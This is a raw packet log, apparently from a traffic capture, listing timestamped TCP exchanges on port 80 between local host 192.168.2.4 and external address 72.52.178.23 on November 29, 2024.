Nov 29, 2024 01:53:03.123193979 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.123207092 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.123245001 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.123528957 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.123538971 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.123547077 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.123589039 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.123600006 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.185997009 CET	80	49834	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.186182976 CET	49834	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.186316013 CET	49834	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.242979050 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.242989063 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.243066072 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.243197918 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.243248940 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.243251085 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.243308067 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.285615921 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.285840988 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.306484938 CET	80	49834	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.405663967 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.405749083 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.449573040 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.449950933 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.569853067 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.573491096 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.737791061 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.742508888 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.949640036 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.949693918 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:03.994643927 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:03.994705915 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.069642067 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.114782095 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.114805937 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.114850044 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.114881992 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.114955902 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.114978075 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.234750032 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.234807968 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.234899998 CET	49833	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.354878902 CET	80	49833	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.371310949 CET	80	49834	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.372684002 CET	49834	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.372812033 CET	49834	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.453051090 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.488204002 CET	49841	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.492625952 CET	80	49834	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.572984934 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.576606989 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.576699972 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.576740980 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.576807022 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.576833963 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.608249903 CET	80	49841	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.608727932 CET	49841	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.609155893 CET	49841	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.696986914 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.696996927 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697000980 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697063923 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697081089 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697134018 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.697213888 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697259903 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697292089 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.697307110 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.697338104 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697359085 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697412014 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.697511911 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697520018 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697541952 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.697565079 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.697578907 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.729171038 CET	80	49841	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.817375898 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.817399979 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.817473888 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.817554951 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.817605972 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.817658901 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.861659050 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.862658024 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:04.981640100 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:04.981717110 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.025577068 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.025918007 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.145585060 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.239109993 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.239191055 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.485599041 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.485647917 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.531411886 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.531474113 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.605627060 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.651537895 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.651562929 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.651653051 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.651664972 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.651734114 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.651776075 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.651818991 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.760956049 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.762259007 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.763845921 CET	49840	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.838891983 CET	80	49841	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.839066029 CET	49841	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.839111090 CET	49841	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.883739948 CET	80	49840	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:05.928515911 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.941473007 CET	49844	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:05.959009886 CET	80	49841	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.048475981 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.048609018 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.048749924 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.048820972 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.049031973 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.049060106 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.061384916 CET	80	49844	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.061472893 CET	49844	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.061616898 CET	49844	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.168798923 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.168837070 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169025898 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169034004 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169092894 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.169121981 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169147968 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169177055 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.169203997 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.169240952 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169250011 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169290066 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.169339895 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169359922 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169393063 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.169435978 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169457912 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.169485092 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.169508934 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.181701899 CET	80	49844	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.290205002 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.290215969 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.290222883 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.290235996 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.290280104 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.337598085 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.337850094 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.453591108 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.456574917 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.501694918 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.501904011 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.617639065 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.713668108 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.714117050 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:06.965730906 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:06.965790033 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.002756119 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.002942085 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.085764885 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.123369932 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.123379946 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.123392105 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.123400927 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.123487949 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.123497009 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.123543024 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.123593092 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.198623896 CET	80	49844	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.198687077 CET	49844	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.198755026 CET	49844	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.232388973 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.232450008 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.232536077 CET	49843	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.319259882 CET	80	49844	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.352494955 CET	80	49843	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.430565119 CET	49849	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.450397015 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.550617933 CET	80	49849	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.551074982 CET	49849	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.551235914 CET	49849	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.570332050 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.570400953 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.570525885 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.570565939 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.570638895 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.570683956 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.671621084 CET	80	49849	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.690401077 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.690645933 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.690721989 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.690738916 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.690747023 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.690787077 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.690794945 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.690905094 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.690920115 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.690936089 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.690994024 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.691035032 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.691042900 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.691092968 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.691098928 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.691241980 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.691294909 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.810663939 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.810739040 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.810841084 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.810880899 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.810903072 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.810931921 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.810960054 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.810983896 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.853665113 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.853949070 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:07.973651886 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:07.973732948 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.021661043 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.021720886 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.137821913 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.233635902 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.233691931 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.481615067 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.481693029 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.524235010 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.525388002 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.602148056 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.645693064 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.645709991 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.645768881 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.645778894 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.645890951 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.645900011 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.646080017 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.646092892 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.646128893 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.646186113 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.734536886 CET	80	49849	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.734615088 CET	49849	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.734648943 CET	49849	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.754066944 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.754128933 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.754151106 CET	49850	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.847729921 CET	49856	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.854572058 CET	80	49849	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.874298096 CET	80	49850	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.954735041 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.967761993 CET	80	49856	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:08.967832088 CET	49856	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:08.967962027 CET	49856	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.074840069 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.074899912 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.075057030 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.075125933 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.075186968 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.075212002 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.087838888 CET	80	49856	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195019960 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195039034 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195194960 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195214033 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195286036 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195286989 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.195302963 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195355892 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195358038 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.195385933 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195441961 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.195482016 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195492983 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195539951 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.195570946 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195677996 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.195729971 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.315279961 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.315299988 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.315344095 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.315443993 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.315454006 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.315507889 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.357666016 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.357785940 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.477623940 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.478583097 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.521665096 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.522521973 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.641704082 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.729665995 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.730626106 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:09.973778009 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:09.973862886 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.064907074 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.065077066 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.093779087 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.104758978 CET	80	49856	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.104832888 CET	49856	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.104892969 CET	49856	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.185343981 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.185353041 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.185465097 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.185473919 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.185570002 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.185578108 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.185610056 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.206406116 CET	49858	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.224795103 CET	80	49856	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.303663969 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.303720951 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.303778887 CET	49857	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.326293945 CET	80	49858	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.326364040 CET	49858	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.326472998 CET	49858	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.423752069 CET	80	49857	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.446439028 CET	80	49858	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.473164082 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.593085051 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.593167067 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.593267918 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.593336105 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.593437910 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.593457937 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.713104010 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713233948 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713404894 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713413954 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713447094 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713475943 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.713494062 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.713495016 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713551044 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.713584900 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713593960 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713638067 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.713686943 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713696957 CET	80	49860	72.52.178.23	192.168.2.4
Nov 29, 2024 01:53:10.713751078 CET	49860	80	192.168.2.4	72.52.178.23
Nov 29, 2024 01:53:10.713804007 CET	80	49860	72.52.178.23	192.168.2.4
